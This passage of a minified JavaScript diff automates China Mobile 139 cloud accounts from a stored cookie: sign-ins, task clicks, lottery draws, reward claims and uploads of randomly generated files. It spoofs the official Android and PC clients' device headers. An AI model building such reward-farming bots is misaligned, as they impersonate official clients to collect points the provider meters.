>>> 16, + c = ((n * n >>> 17) + n * a >>> 15) + a * a, + u = ((4294901760 & o) * o | 0) + ((65535 & o) * o | 0); + s[r] = c ^ u + } + e[0] = s[0] + (s[7] << 16 | s[7] >>> 16) + (s[6] << 16 | s[6] >>> 16) | 0, e[1] = s[1] + (s[0] << 8 | s[0] >>> 24) + s[7] | 0, e[2] = s[2] + (s[1] << 16 | s[1] >>> 16) + (s[0] << 16 | s[0] >>> 16) | 0, e[3] = s[3] + (s[2] << 8 | s[2] >>> 24) + s[1] | 0, e[4] = s[4] + (s[3] << 16 | s[3] >>> 16) + (s[2] << 16 | s[2] >>> 16) | 0, e[5] = s[5] + (s[4] << 8 | s[4] >>> 24) + s[3] | 0, e[6] = s[6] + (s[5] << 16 | s[5] >>> 16) + (s[4] << 16 | s[4] >>> 16) | 0, e[7] = s[7] + (s[6] << 8 | s[6] >>> 24) + s[5] | 0 + } + t.RabbitLegacy = r._createHelper(a) + }(), e.RabbitLegacy +}(v(), $(), j(), ce(), he())), Qe()); +var Ze = p(y.exports); +class Ye { + constructor() { + this.lines = [], this.errors = [], this.amounts = [], this.invalid = [] + } + info(e) { + this.lines.push(e), t.log(e) + } + line(e) { + this.lines.push(e), t.log(e) + } + section(e) { + this.info(`\n======== ${e} ========`) + } + renderSummary() { + const e = []; + return this.invalid.length && e.push(`失效账号:\n${this.invalid.join("\n")}`), this.amounts.length && e.push(`云朵统计:\n${this.amounts.join("\n")}`), this.errors.length && e.push(`异常信息:\n${this.errors.join("\n")}`), e.join("\n\n") || "执行完成" + } +} + +function et(e) { + return "boolean" == typeof e ? e : ["1", "true", "yes", "on"].includes(String(e).toLowerCase()) +} + +function tt(e, t) { + const r = Number(e); + return Number.isFinite(r) ? r : t +} + +function rt(e) { + return String(e || "").startsWith("Basic ") ? String(e) : `Basic ${e}` +} + +function ot(e, t, r) { + return "cloud_app" === e && "month" === t ? [110, 113, 417, 409].includes(r) : "cloud_app" === e && "day" === t ? 404 === r : "email_app" === e && "month" === t && [1004, 1005, 1015, 1020].includes(r) +} + +function nt(e) { + return [e.getFullYear(), String(e.getMonth() + 1).padStart(2, "0"), String(e.getDate()).padStart(2, "0"), String(e.getHours()).padStart(2, "0"), String(e.getMinutes()).padStart(2, "0"), String(e.getSeconds()).padStart(2, "0")].join("") +} + +function it(e) { + const t = "19f3a063d67e4694ca63a4227ec9a94a19088404f9a28084e3e486b928039a299bf756ebc77aa4f6bfa250308ec6a8be8b63b5271a00350d136d117b8a72f39c5bd15cdfd350cba4271dc797f15412d9f269e666aea5039f5049d00739b320bb9e8585a008b52c1cbd86970cae9476446f3e41871de8d9f6112db94b05e5dc7ea0a942a9daf145ac8e487d3d5cba7cea145680efc64794d43dd15c5062b81e1cda7bf278b9bc4e1b8955846e6bc4b6a61c28f831f81b2270289e5a8a677c3141ddc9868129060c0c3b5ef507fbd46c004f6de346332ef7f05c0094215eae1217ee7c13c8dca6d174cfb49c716dd42903bb4b02d823b5f1ff93c3f88768251b56cc"; + let r = ""; + for (let o = 0; o < e; o += 1) r += t.charAt(Math.floor(514 * Math.random())); + return r +} + +function st(e) { + const t = []; + for (let r = 0; r < e; r += 4) t.push(4294967296 * Math.random() | 0); + return Ze.lib.WordArray.create(t, e) +} +async function at(e, t) { + const r = Math.floor(Math.random() * (t - e + 1)) + e; + await i(r) +} + +function ct() { + const e = a, + t = d.defaults, + r = d.envPrefix; + return { + cookie: ut(e, h.cookieKeys, lt(h.cookieKeys, "")), + uploadEnabled: et(ut(e, ["upload"], lt([`${r}_UPLOAD`, "cloud139_upload"], t.upload))), + uploadDirId: String(ut(e, ["dirId", "dir_id"], lt([`${r}_DIR_ID`, "cloud139_dir_id", "DIR_ID"], t.uploadDirId)) || ""), + uploadFilename: String(ut(e, ["uploadFilename"], lt([`${r}_UPLOAD_FILENAME`, "cloud139_upload_filename"], t.uploadFilename)) || t.uploadFilename), + uploadSizeMb: tt(ut(e, ["uploadSizeMb"], lt([`${r}_UPLOAD_SIZE_MB`, "cloud139_upload_size_mb"], t.uploadSizeMb)), t.uploadSizeMb), + shareEnabled: et(ut(e, ["share"], lt([`${r}_SHARE`, "cloud139_share"], t.share))), + shareFilename: String(ut(e, ["shareFilename"], lt([`${r}_SHARE_FILENAME`, "cloud139_share_filename"], t.shareFilename)) || ""), + push: et(ut(e, ["push"], lt([`${r}_PUSH`, "cloud139_push"], t.push))), + clickNum: tt(ut(e, ["clickNum"], lt([`${r}_CLICK_NUM`, "cloud139_click_num"], t.clickNum)), t.clickNum), + drawTimes: tt(ut(e, ["drawTimes"], lt([`${r}_DRAW_TIMES`, "cloud139_draw_times"], t.drawTimes)), t.drawTimes), + delayMin: tt(ut(e, ["delayMin"], lt([`${r}_DELAY_MIN`, "cloud139_delay_min"], t.delayMin)), t.delayMin), + delayMax: tt(ut(e, ["delayMax"], lt([`${r}_DELAY_MAX`, "cloud139_delay_max"], t.delayMax)), t.delayMax), + requestTimeout: tt(ut(e, ["timeout"], lt([`${r}_TIMEOUT`, "cloud139_timeout"], t.timeout)), t.timeout) + } +} + +function ut(e, t, r) { + for (const r of t) { + const t = e[r]; + if (null != t && "" !== t) return t + } + return r +} + +function lt(e, t) { + ! function() { + if (ht) return; + if (ht = !0, "undefined" == typeof process || !process.versions?.node || "function" != typeof process.loadEnvFile) return; + try { + process.loadEnvFile(".env") + } catch (e) {} + }(); + const r = "undefined" != typeof process && process.env ? process.env : {}; + for (const t of e) { + if (void 0 !== r[t] && null !== r[t] && "" !== r[t]) return r[t]; + try { + const e = s.getItem?.(t); + if (null != e && "" !== e) return e + } catch (e) {} + } + return t +} +let ht = !1; + +function dt() { + function e(e, t, r, o, n) { + return { + name: "AxiosError", + message: e || "Axios Error", + code: t, + config: r, + request: o, + response: n, + isAxiosError: !0, + toString() { + return this.name + ": " + this.message + } + } + } + class t { + constructor() { + this.handlers = [] + } + use(e, t) { + return this.handlers.push({ + onFulfilled: e, + onRejected: t + }), this.handlers.length - 1 + } + eject(e) { + this.handlers[e] && (this.handlers[e] = null) + } + forEach(e) { + for (let t = 0; t < this.handlers.length; t += 1) { + const r = this.handlers[t]; + r && e(r) + } + } + } + + function r() { + const e = {}; + for (let t = 0; t < arguments.length; t += 1) { + const r = arguments[t]; + if (!r) continue; + const o = Object.keys(r); + for (let t = 0; t < o.length; t += 1) e[o[t]] = r[o[t]] + } + return e + } + + function o(e) { + return String(e || "get").toLowerCase() + } + + function n(e) { + return e >= 200 && e < 300 + } + + function i(e) { + switch (String(e || "").split(";")[0].trim().toLowerCase()) { + case "application/protobuf": + case "application/x-protobuf": + case "application/vnd.google.protobuf": + case "application/vnd.apple.flatbuffer": + case "application/grpc": + case "application/grpc+proto": + case "application/octet-stream": + return !0; + default: + return !1 + } + } + + function s(e, t, r) { + return r ? function(e) { + return void 0 !== e.bodyBytes ? a(e.bodyBytes) : void 0 !== e.rawBody ? a(e.rawBody) : void 0 !== e.body ? a(e.body) : void 0 !== e.data ? a(e.data) : void 0 + }(e) : function(e, t) { + for (let r = 0; r < t.length; r += 1) { + const o = e[t[r]]; + if (void 0 !== o) return o + } + }(e, ["data", "body", "bodyBytes", "rawBody"]) + } + + function a(e) { + if (e instanceof ArrayBuffer) return e; + if ("undefined" != typeof ArrayBuffer && ArrayBuffer.isView && ArrayBuffer.isView(e)) return e.buffer.slice(e.byteOffset, e.byteOffset + e.byteLength); + if ("string" == typeof e) { + if ("undefined" != typeof TextEncoder) return (new TextEncoder).encode(e).buffer; + if ("undefined" != typeof Buffer) { + const t = Buffer.from(e, "utf8"); + return t.buffer.slice(t.byteOffset, t.byteOffset + t.byteLength) + } + } + return e + } + + function c(e, t, r) { + const o = r.responseType || "json"; + switch (o) { + case "arraybuffer": + return a(e); + case "text": + return function(e) { + switch (!0) { + case "string" == typeof e: + return e; + case "undefined" != typeof Buffer && Buffer.isBuffer && Buffer.isBuffer(e): + return e.toString("utf8"); + case "undefined" != typeof TextDecoder && e instanceof ArrayBuffer: + return new TextDecoder("utf-8").decode(e); + default: + return e + } + }(e) + } + if ("string" != typeof e) return e; + const n = String(t && (t["content-type"] || t["Content-Type"]) || ""); + if ("json" === o || n.indexOf("application/json") >= 0) try { + return e.length ? JSON.parse(e) : null + } catch (t) { + return e + } + return e + } + + function u(e) { + const t = { + url: e.url, + method: o(e.method), + headers: e.headers, + timeout: e.timeout, + policy: e.policy, + redirection: "boolean" == typeof e.redirection ? e.redirection : e.followRedirect, + "auto-redirect": e["auto-redirect"], + "auto-cookie": e["auto-cookie"], + opts: e.opts + }; + switch (!0) { + case void 0 !== e.bodyBytes: + t.bodyBytes = a(e.bodyBytes); + break; + case void 0 !== e.data && (e.data instanceof ArrayBuffer || ArrayBuffer.isView && ArrayBuffer.isView(e.data)): + t.bodyBytes = a(e.data); + break; + case void 0 !== e.body: + t.body = e.body; + break; + case void 0 !== e.data: + t.body = e.data + } + const r = Object.keys(e); + for (let o = 0; o < r.length; o += 1) { + const n = r[o]; + void 0 === t[n] && (t[n] = e[n]) + } + t.method || (t.method = function(e) { + return void 0 !== e.body || void 0 !== e.bodyBytes + }(t) ? "post" : "get"), t.method = o(t.method), Object.assign(t, function(e) { + if (null != e && "" !== e || (e = 5e3), null == e) return {}; + const t = Number.parseInt(e, 10); + return Number.isNaN(t) ? {} : { + timeout: t + } + }(t.timeout)), "boolean" == typeof t.redirection && void 0 === t["auto-redirect"] && (t["auto-redirect"] = t.redirection), t.headers = t.headers || {}, + function(e, t) { + for (let r = 0; r < t.length; r += 1) delete e[t[r]] + }(t.headers, ["Host", ":authority", "Content-Length", "content-length"]); + const n = t.headers.Accept || t.headers.accept; + switch (("arraybuffer" === t.responseType || i(n)) && (t["binary-mode"] = !0), !0) { + case void 0 !== t.bodyBytes && void 0 === t.body: + t.data = t.bodyBytes; + break; + case void 0 !== t.body: + t.data = t.body + } + return t + } + + function l(e, t, r) { + const o = e || {}, + a = o.headers || {}, + u = a["content-type"] || a["Content-Type"], + l = { + data: c(s(o, 0, "arraybuffer" === t.responseType || !0 === t["binary-mode"] || i(u)), a, t), + status: Number(void 0 !== o.status ? o.status : void 0 !== o.statusCode ? o.statusCode : 0), + statusText: o.statusText || "", + headers: a, + config: t, + request: o.request || r, + raw: o + }; + return l.ok = (t.validateStatus || n)(l.status), l + } + + function h(e) { + return !!(e && "object" == typeof e && "status" in e && "data" in e && "headers" in e && "config" in e) + } + + function d(e) { + if (!e) return null; + if ("function" == typeof e) return e; + if ("function" == typeof e.request) return e.request.bind(e); + throw new TypeError("Unsupported adapter shape") + } + class f { + constructor(e) { + this.defaults = Object.assign({ + headers: { + Accept: "application/json, text/plain, */*" + }, + validateStatus: n, + throwHttpErrors: !0 + }, e || {}), this.interceptors = { + request: new t, + response: new t + } + } + resolveAdapter(e) { + const t = d(e.adapter); + if (t) return t; + const r = e.adapters || this.defaults.adapters || []; + for (let e = 0; e < r.length; e += 1) { + const t = d(r[e]); + if (t) return t + } + return "function" == typeof e.fetch ? e.fetch : "function" == typeof this.defaults.fetch ? this.defaults.fetch : null + } + dispatchRequest(t) { + const r = this.resolveAdapter(t); + if (!r) return Promise.reject(new e("No available adapter", "ERR_NOT_SUPPORT", t)); + const o = function(e) { + const t = u(e); + return { + url: t.url, + method: t.method, + headers: t.headers, + body: t.body, + bodyBytes: t.bodyBytes, + timeout: t.timeout, + policy: t.policy, + redirection: t.redirection, + "auto-redirect": t["auto-redirect"], + "auto-cookie": t["auto-cookie"], + opts: t.opts, + "binary-mode": t["binary-mode"], + data: t.data + } + }(t); + return Promise.resolve(r(o, t)).then(function(r) { + const o = h(r) ? r : l(r, t, r && r.request); + if (!o.ok && !1 !== t.throwHttpErrors) throw new e("Request failed with status code " + o.status, "ERR_BAD_RESPONSE", t, o.request, o); + return o + }, function(r) { + throw function(t, r) { + if (t && t.isAxiosError) return t; + let o = t && t.request, + n = t && t.response; + return n && !h(n) && (n = l(n, r, n.request || o), o = n.request), !n && t && "object" == typeof t && ("status" in t || "statusCode" in t || "body" in t || "bodyBytes" in t || "data" in t ? n = l(t, r, o) : t.response && "object" == typeof t.response && (n = l(t.response, r, t.response.request || o), o = n.request)), new e(t && t.message || (n && n.status ? "Request failed with status code " + n.status : null) || String(t || "Network Error"), t && t.code || (n && n.status ? "ERR_BAD_RESPONSE" : "ERR_NETWORK"), r, o, n) + }(r, t) + }) + } + mergeConfig(e) { + const t = "string" == typeof e ? { + url: e + } : e || {}, + n = Object.assign({}, this.defaults, t); + var i, s; + if (n.headers = r(this.defaults.headers, t.headers), n.method = o(n.method), n.baseURL && n.url && (i = n.url, !/^[a-z][a-z\d+\-.]*:\/\//i.test(String(i || ""))) && (n.url = function(e, t) { + return e ? t ? String(e).replace(/\/+$/, "") + "/" + String(t).replace(/^\/+/, "") : e : t || "" + }(n.baseURL, n.url)), n.url = function(e, t, r) { + if (!t) return e; + const o = "function" == typeof r ? r(t) : function(e) { + const t = [], + r = Object.keys(e || {}); + for (let o = 0; o < r.length; o += 1) { + const n = r[o], + i = e[n]; + if (null != i) + if (Array.isArray(i)) + for (let e = 0; e < i.length; e += 1) t.push(encodeURIComponent(n) + "=" + encodeURIComponent(String(i[e]))); + else t.push(encodeURIComponent(n) + "=" + encodeURIComponent(String(i))) + } + return t.join("&") + }(t); + return o ? String(e) + (String(e).indexOf("?") >= 0 ? "&" : "?") + o : e + }(n.url || "", n.params, n.paramsSerializer), s = n.data, !("[object Object]" !== Object.prototype.toString.call(s) || n.data instanceof ArrayBuffer || ArrayBuffer.isView && ArrayBuffer.isView(n.data))) { + let e = null; + const t = Object.keys(n.headers || {}); + for (let r = 0; r < t.length; r += 1) + if ("content-type" === t[r].toLowerCase()) { + e = t[r]; + break + } e || (e = "Content-Type", n.headers[e] = "application/x-www-form-urlencoded"), String(n.headers[e] || "").indexOf("application/json") >= 0 && (n.data = JSON.stringify(n.data)) + } + return n + } + request(e) { + const t = this.mergeConfig(e); + t.transport = u(t); + const r = []; + this.interceptors.request.forEach(function(e) { + r.unshift(e.onFulfilled, e.onRejected) + }), r.push(this.dispatchRequest.bind(this), void 0), this.interceptors.response.forEach(function(e) { + r.push(e.onFulfilled, e.onRejected) + }); + let o = Promise.resolve(t); + for (; r.length;) o = o.then(r.shift(), r.shift()); + return o + } + create(e) { + return new f(Object.assign({}, this.defaults, e || {}, { + headers: r(this.defaults.headers, e && e.headers) + })) + } + isAxiosError(e) { + return !(!e || !e.isAxiosError) + } + } ["get", "options", "delete", "head"].forEach(function(e) { + f.prototype[e] = function(t, r) { + return this.request(Object.assign({}, r || {}, { + method: e, + url: t + })) + } + }), ["post", "put", "patch"].forEach(function(e) { + f.prototype[e] = function(t, r, o) { + return this.request(Object.assign({}, o || {}, { + method: e, + url: t, + data: r + })) + } + }); + const p = new f; + return { + Axios: f, + axios: p, + createAxios: function(e) { + return new f(e) + }, + normalizeAdapter: d, + AxiosError: e, + InterceptorManager: t + } +} +"object" == typeof module && module.exports && (module.exports = dt); +const ft = u.userAgent, + pt = u.noteHeaders, + { + Axios: yt + } = dt(), + gt = new yt({ + timeout: u.defaultTimeout, + adapter: async t => async function(t, n = {}) { + switch (typeof t) { + case "object": + t = { + ...n, + ...t + }; + break; + case "string": + t = { + ...n, + url: t + }; + break; + default: + throw new TypeError(`${Function.name}: 参数类型错误, resource 必须为对象或字符串`) + } + t.method || (t.method = "GET", (t.body ?? t.bodyBytes) && (t.method = "POST")), delete t.headers?.Host, delete t.headers?.[":authority"], delete t.headers?.["Content-Length"], delete t.headers?.["content-length"]; + const i = t.method.toLocaleLowerCase(); + if (t.timeout || (t.timeout = 5), t.timeout && (t.timeout = Number.parseInt(t.timeout, 10), t.timeout > 500 && (t.timeout = Math.round(t.timeout / 1e3))), t.timeout) switch (e) { + case "Loon": + case "Quantumult X": + case "Node.js": + t.timeout = 1e3 * t.timeout + } + switch (e) { + case "Loon": + case "Surge": + case "Stash": + case "Egern": + case "Shadowrocket": + default: + if (t.policy) switch (e) { + case "Loon": + t.node = t.policy; + break; + case "Stash": + r.set(t, "headers.X-Stash-Selected-Proxy", encodeURI(t.policy)); + break; + case "Shadowrocket": + r.set(t, "headers.X-Surge-Proxy", t.policy) + } + switch ("boolean" == typeof t.redirection && (t["auto-redirect"] = t.redirection), t.bodyBytes && !t.body && (t.body = t.bodyBytes, t.bodyBytes = void 0), (t.headers?.Accept || t.headers?.accept)?.split(";")?.[0]) { + case "application/protobuf": + case "application/x-protobuf": + case "application/vnd.google.protobuf": + case "application/vnd.apple.flatbuffer": + case "application/grpc": + case "application/grpc+proto": + case "application/octet-stream": + t["binary-mode"] = !0 + } + return new Promise((e, r) => { + globalThis.$httpClient[i](t, (n, i, s) => { + n ? r(n) : (i.ok = /^2\d\d$/.test(i.status), i.statusCode = i.status, i.statusText = o[i.status], s && (i.body = s, 1 == t["binary-mode"] && (i.bodyBytes = s)), e(i)) + }) + }); + case "Quantumult X": + return t.policy && r.set(t, "opts.policy", t.policy), "boolean" == typeof t["auto-redirect"] && r.set(t, "opts.redirection", t["auto-redirect"]), t.body instanceof ArrayBuffer ? (t.bodyBytes = t.body, t.body = void 0) : ArrayBuffer.isView(t.body) ? (t.bodyBytes = t.body.buffer.slice(t.body.byteOffset, t.body.byteLength + t.body.byteOffset), t.body = void 0) : t.body && (t.bodyBytes = void 0), Promise.race([globalThis.$task.fetch(t).then(e => { + switch (e.ok = /^2\d\d$/.test(e.statusCode), e.status = e.statusCode, e.statusText = o[e.status], (e.headers?.["Content-Type"] ?? e.headers?.["content-type"])?.split(";")?.[0]) { + case "application/protobuf": + case "application/x-protobuf": + case "application/vnd.google.protobuf": + case "application/vnd.apple.flatbuffer": + case "application/grpc": + case "application/grpc+proto": + case "application/octet-stream": + e.body = e.bodyBytes + } + return e.bodyBytes = void 0, e + }, e => Promise.reject(e.error)), new Promise((e, r) => { + setTimeout(() => { + r(new Error(`${Function.name}: 请求超时, 请检查网络后重试`)) + }, t.timeout) + })]); + case "Node.js": { + switch (globalThis.fetch || (globalThis.fetch = require("node-fetch")), t["auto-cookie"]) { + case void 0: + case "true": + case !0: + case "1": + case 1: + default: + globalThis.fetch?.cookieJar || (globalThis.fetch = require("fetch-cookie").default(globalThis.fetch)); + case "false": + case !1: + case "0": + case 0: + case "-1": + case -1: + } + t.redirect = t.redirection ? "follow" : "manual"; + const { + url: e, + ...r + } = t; + return Promise.race([globalThis.fetch(e, r).then(async e => { + const t = await e.arrayBuffer(); + let r; + try { + r = e.headers.raw() + } catch { + r = Array.from(e.headers.entries()).reduce((e, [t, r]) => (e[t] = e[t] ? [...e[t], r] : [r], e), {}) + } + return { + ok: e.ok ?? /^2\d\d$/.test(e.status), + status: e.status, + statusCode: e.status, + statusText: e.statusText, + body: new TextDecoder("utf-8").decode(t), + bodyBytes: t, + headers: Object.fromEntries(Object.entries(r).map(([e, t]) => [e, "set-cookie" !== e.toLowerCase() ? t.toString() : t])) + } + }).catch(e => Promise.reject(e.message)), new Promise((e, r) => { + setTimeout(() => { + r(new Error(`${Function.name}: 请求超时, 请检查网络后重试`)) + }, t.timeout) + })]) + } + } + }({ + ...t, + timeout: "number" == typeof t.timeout ? Math.max(1, 1e3 * t.timeout) : t.timeout + }) + }), + mt = "https://orches.yun.139.com/orchestration/auth-rebuild/token/v1.0/querySpecToken", + vt = "https://user-njs.yun.139.com/user/querySpecToken", + bt = e => `https://caiyun.feixin.10086.cn:7071/portal/auth/tyrzLogin.action?ssoToken=${encodeURIComponent(e)}`; + +function wt(e) { + return { + ssoForMCloud: async function() { + const t = await e.requestJson({ + url: mt, + method: "post", + headers: { + Authorization: e.authorization, + "User-Agent": ft, + "Content-Type": "application/json", + Accept: "*/*", + Host: "orches.yun.139.com" + }, + data: { + account: e.account, + toSourceId: "001005" + } + }); + return t?.success ? t.data.token : null + }, + ssoForPortal: async function() { + const t = await e.requestJson({ + url: vt, + method: "post", + headers: { + Authorization: rt(e.authorization), + "Content-Type": "application/json", + Accept: "*/*", + Host: "user-njs.yun.139.com", + "User-Agent": ft + }, + data: { + phoneNumber: e.account, + toSourceId: "001003" + } + }); + return t?.success ? t.data.token : null + }, + fetchJwt: async function(t) { + return e.requestJson({ + url: bt(t), + method: "post", + headers: e.jwtHeaders + }) + } + } +} +const kt = "http://mnote.caiyun.feixin.10086.cn/noteServer/api/authTokenRefresh.do", + _t = "http://mnote.caiyun.feixin.10086.cn/noteServer/api/syncNotebookV3.do", + xt = "http://mnote.caiyun.feixin.10086.cn/noteServer/api/createNote.do"; + +function St(e) { + return { + refreshNoteToken: async function() { + return e.request({ + url: kt, + method: "post", + headers: pt, + data: { + authToken: e.authToken, + userPhone: e.account + }, + throwHttpErrors: !1 + }) + }, + syncNotebook: async function(t) { + return e.requestJson({ + url: _t, + method: "post", + headers: t, + data: { + addNotebooks: [], + delNotebooks: [], + notebookRefs: [], + updateNotebooks: [] + } + }) + }, + createNote: async function(t, r) { + const o = e.randomHex(32), + n = String(Date.now()); + return e.request({ + url: xt, + method: "post", + headers: t, + data: { + archived: 0, + attachmentdir: o, + attachmentdirid: "", + attachments: [], + audioInfo: { + audioDuration: 0, + audioSize: 0, + audioStatus: 0 + }, + contentid: "", + contents: [{ + contentid: 0, + data: '000000', + noteId: o, + sortOrder: 0, + type: "RICHTEXT" + }], + cp: "", + createtime: n, + description: "android", + expands: { + noteType: 0 + }, + latlng: "", + location: "", + noteid: o, + notestatus: 0, + remindtime: "", + remindtype: 1, + revision: "1", + sharecount: "0", + sharestatus: "0", + system: "mobile", + tags: [{ + id: r, + orderIndex: "0", + text: "默认笔记本" + }], + title: "00000", + topmost: "0", + updatetime: n, + userphone: e.account, + version: "1.00", + visitTime: "" + }, + throwHttpErrors: !1 + }) + } + } +} +const Bt = { + wxSign: "https://caiyun.feixin.10086.cn/market/playoffic/followSignInfo?isWx=true", + drawInfo: "https://caiyun.feixin.10086.cn/market/playoffic/drawInfo", + draw: "https://caiyun.feixin.10086.cn/market/playoffic/draw", + shake: "https://caiyun.feixin.10086.cn:7071/market/shake-server/shake/shakeIt?flag=1" + }, + At = { + info: "https://caiyun.feixin.10086.cn/market/signin/hecheng1T/info?op=info", + invite: "https://caiyun.feixin.10086.cn/market/signin/hecheng1T/beinvite", + finish: "https://caiyun.feixin.10086.cn/market/signin/hecheng1T/finish?flag=true" + }, + Tt = { + info: "https://caiyun.feixin.10086.cn/market/backupgift/info", + receive: "https://caiyun.feixin.10086.cn/market/backupgift/receive" + }, + Ct = { + status: "https://caiyun.feixin.10086.cn/market/msgPushOn/task/status", + obtain: "https://caiyun.feixin.10086.cn/market/msgPushOn/task/obtain" + }; + +function Et(e) { + return { + getWxSignInfo: async function() { + return e.requestJson({ + url: Bt.wxSign, + method: "get", + headers: e.jwtHeaders + }) + }, + getDrawInfo: async function() { + return e.requestJson({ + url: Bt.drawInfo, + method: "get", + headers: e.jwtHeaders + }) + }, + doDraw: async function() { + return e.requestJson({ + url: Bt.draw, + method: "get", + headers: e.jwtHeaders + }) + }, + doShake: async function() { + return e.requestJson({ + url: Bt.shake, + method: "post", + headers: e.jwtHeaders + }) + }, + getCloudGameInfo: async function() { + return e.requestJson({ + url: At.info, + method: "get", + headers: e.jwtHeaders + }) + }, + inviteCloudGame: async function() { + return e.requestJson({ + url: At.invite, + method: "get", + headers: e.jwtHeaders + }) + }, + finishCloudGame: async function() { + return e.requestJson({ + url: At.finish, + method: "get", + headers: e.jwtHeaders + }) + }, + getBackupInfo: async function() { + return e.requestJson({ + url: Tt.info, + method: "get", + headers: e.jwtHeaders + }) + }, + receiveBackupReward: async function() { + return e.requestJson({ + url: Tt.receive, + method: "get", + headers: e.jwtHeaders + }) + }, + getMsgPushStatus: async function() { + return e.requestJson({ + url: Ct.status, + method: "get", + headers: e.jwtHeaders + }) + }, + obtainMsgPushReward: async function(t) { + return e.requestJson({ + url: Ct.obtain, + method: "post", + headers: e.jwtHeaders, + data: { + type: t + } + }) + } + } +} +const $t = "https://caiyun.feixin.10086.cn/market/signin/page/info?client=app", + Rt = "https://caiyun.feixin.10086.cn/market/manager/commonMarketconfig/getByMarketRuleName?marketName=sign_in_3", + zt = e => `https://caiyun.feixin.10086.cn/market/signin/task/taskList?marketname=${e}`, + Dt = e => `https://caiyun.feixin.10086.cn/market/signin/task/click?key=task&id=${e}`, + Ht = "https://caiyun.feixin.10086.cn/market/signin/page/receive", + Mt = e => `https://caiyun.feixin.10086.cn/market/prizeApi/checkPrize/getUserPrizeLogPage?currPage=1&pageSize=15&_=${e}`, + jt = "https://caiyun.feixin.10086.cn/market/signin/page/taskExpansion", + It = e => `https://caiyun.feixin.10086.cn/market/signin/page/receiveTaskExpansion?acceptDate=${e}`; + +function Ft(e) { + return { + getSigninStatus: async function() { + return e.requestJson({ + url: $t, + method: "get", + headers: e.jwtHeaders + }) + }, + doSignin: async function() { + return e.requestJson({ + url: Rt, + method: "get", + headers: e.jwtHeaders + }) + }, + getTaskList: async function(t) { + return e.requestJson({ + url: zt(t), + method: "get", + headers: e.jwtHeaders + }) + }, + clickTask: async function(t, r = {}) { + return e.requestJson({ + url: Dt(t), + method: "get", + headers: e.jwtHeaders, + ...r + }) + }, + receiveClouds: async function() { + return e.requestJson({ + url: Ht, + method: "get", + headers: e.jwtHeaders + }) + }, + getPrizeLog: async function(t) { + return e.requestJson({ + url: Mt(t), + method: "get", + headers: e.jwtHeaders + }) + }, + getTaskExpansion: async function() { + return e.requestJson({ + url: jt, + method: "get", + headers: e.jwtHeaders + }) + }, + receiveTaskExpansion: async function(t) { + return e.requestJson({ + url: It(t), + method: "get", + headers: e.jwtHeaders + }) + } + } +} +const Nt = "http://ose.caiyun.feixin.10086.cn/richlifeApp/devapp/IUploadAndDownload", + Pt = "https://ose.caiyun.feixin.10086.cn/richlifeApp/devapp/IUploadAndDownload", + Ot = "https://personal-kd-njs.yun.139.com/hcy/file/list", + Lt = "https://yun.139.com/orchestration/personalCloud-rebuild/outlink/v1.0/getOutLink"; + +function qt(e) { + return { + uploadSimpleFile: async function() { + const t = ["", `${e.account}`, "1", "1", '', "", "0", "", "", "1", "", "C4CA4238A0B923820DCC509A6F75849B", "", "0", "0", "", "", "", "", "", "0", "", "2", '', "", "", ""].join(""); + return e.request({ + url: Nt, + method: "post", + headers: { + "x-huawei-uploadSrc": "1", + "x-ClientOprType": "11", + Connection: "keep-alive", + "x-NetType": "6", + "x-DeviceInfo": "6|127.0.0.1|1|10.0.1|Xiaomi|M2012K10C|CB63218727431865A48E691BFFDB49A1|02-00-00-00-00-00|android 11|1080X2272|zh||||032|", + "x-huawei-channelSrc": "10000023", + "x-MM-Source": "032", + "x-SvcType": "1", + APP_NUMBER: e.account, + Authorization: e.authorization, + "X-Tingyun-Id": "p35OnrDoP8k;c=2;r=1955442920;u=43ee994e8c3a6057970124db00b2442c::8B3D3F05462B6E4C", + Host: "ose.caiyun.feixin.10086.cn", + "User-Agent": "okhttp/3.11.0", + "Content-Type": "application/xml; charset=UTF-8", + Accept: "*/*" + }, + data: t, + responseType: "text", + throwHttpErrors: !1 + }) + }, + uploadLargeFile: async function() { + const t = e.randomWordArray(1024 * e.config.uploadSizeMb * 1024), + r = e.md5(t), + o = ["", `${e.account}`, "1", `${1024*e.config.uploadSizeMb*1024}`, '', "", ``, `${1024*e.config.uploadSizeMb*1024}`, "", "", "0", "", '', `${r}`, `modifyTime${e.formatDate(new Date)}`, "", "", "", `${e.config.uploadDirId}`, "0", "", "2", ""].join(""); + return e.request({ + url: Pt, + method: "post", + headers: { + "x-huawei-uploadSrc": "1", + "x-huawei-channelSrc": "10200153", + "x-ClientOprType": "11", + Connection: "keep-alive", + "x-NetType": "6", + "x-DeviceInfo": "||11|8.2.1.20241205|PC|V0lOLUVQSUxVNjE1TUlI|D1EA1E8B761492DFF34B18F05A5876E0|| Windows 10 (10.0)|1366X738|RW5nbGlzaA==|||", + "x-MM-Source": "032", + "x-SvcType": "1", + Authorization: rt(e.authorization), + Host: "ose.caiyun.feixin.10086.cn", + "User-Agent": "Mozilla/5.0", + "Content-Type": "text/xml;UTF-8", + Accept: "*/*" + }, + data: o, + responseType: "text", + throwHttpErrors: !1 + }) + }, + listPersonalFiles: async function() { + return e.requestJson({ + url: Ot, + method: "post", + headers: { + "x-yun-op-type": "1", + "x-yun-net-type": "1", + "x-yun-module-type": "100", + "x-yun-app-channel": "10214200", + "x-yun-client-info": "1||8|5.10.1|microsoft|microsoft|306d1d1c-016c-4251-9ea6-951dca||windows 10 x64|||||", + "x-tingyun": "c=M|4Nl_NnGbjwY", + authorization: rt(e.authorization), + "x-yun-api-version": "v1", + xweb_xhr: "1", + "x-yun-tid": "cb8a2b4b-8eb7-4b05-b1c1-e41020", + "content-type": "application/json" + }, + data: { + parentFileId: e.config.uploadDirId, + pageInfo: { + pageSize: 40, + pageCursor: "0|[9-1-0,11-0-1][JzIwMjQtMDMtMDlUMTA6MzM6MTguNzEyWic=,J0ZzSVEweF9NVVVDVmNqQ1plaTJ0SFZxSjVadjNsbEZ5bCc=]" + }, + imageThumbnailStyleList: ["Big", "Small"], + orderDirection: "DESC", + orderBy: "updated_at" + } + }) + }, + createOutLink: async function(t, r) { + return e.requestJson({ + url: Lt, + method: "post", + headers: { + ...e.jwtHeaders, + Authorization: rt(e.authorization) + }, + data: { + getOutLinkReq: { + subLinkType: 0, + encrypt: 1, + coIDLst: [t], + caIDLst: [], + pubType: 1, + dedicatedName: r, + periodUnit: 1, + viewerLst: [], + extInfo: { + isWatermark: 0, + shareChannel: "3001" + }, + period: 1, + commonAccountInfo: { + account: e.account, + accountType: 1 + } + } + } + }) + } + } +} +class Ut { + constructor(e, t, r) { + this.rawCookie = String(e || "").trim(), this.config = t, this.reporter = r, 